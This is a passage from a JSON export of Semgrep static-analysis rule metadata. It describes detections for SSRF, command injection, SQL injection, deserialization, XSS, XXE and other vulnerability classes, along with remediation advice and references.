domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","id":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","name":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec)\n - [https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","id":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","name":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","id":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","name":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","id":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","name":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n - [https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html](https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","id":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","name":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"help":{"markdown":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute)\n - [https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5](https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5)\n","text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","id":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","name":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"help":{"markdown":"Use of $window.location.href can lead to open-redirect if user input is used for redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","id":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","name":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","id":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","name":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli","id":"java.spring.security.hibernate-sqli.hibernate-sqli","name":"java.spring.security.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"help":{"markdown":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n","text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile","id":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","name":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-res-sendfile.express-res-sendfile"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","id":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","name":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","id":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","name":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"help":{"markdown":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb)\n","text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql","id":"ruby.rails.security.brakeman.check-sql.check-sql","name":"ruby.rails.security.brakeman.check-sql.check-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-sql.check-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.secrets.database-password.database-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/php.secrets.database-password.database-password","id":"php.secrets.database-password.database-password","name":"php.secrets.database-password.database-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.secrets.database-password.database-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","id":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","name":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"S3 bucket with public read-write access detected."},"help":{"markdown":"S3 bucket with public read-write access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read-write access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","id":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","name":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. 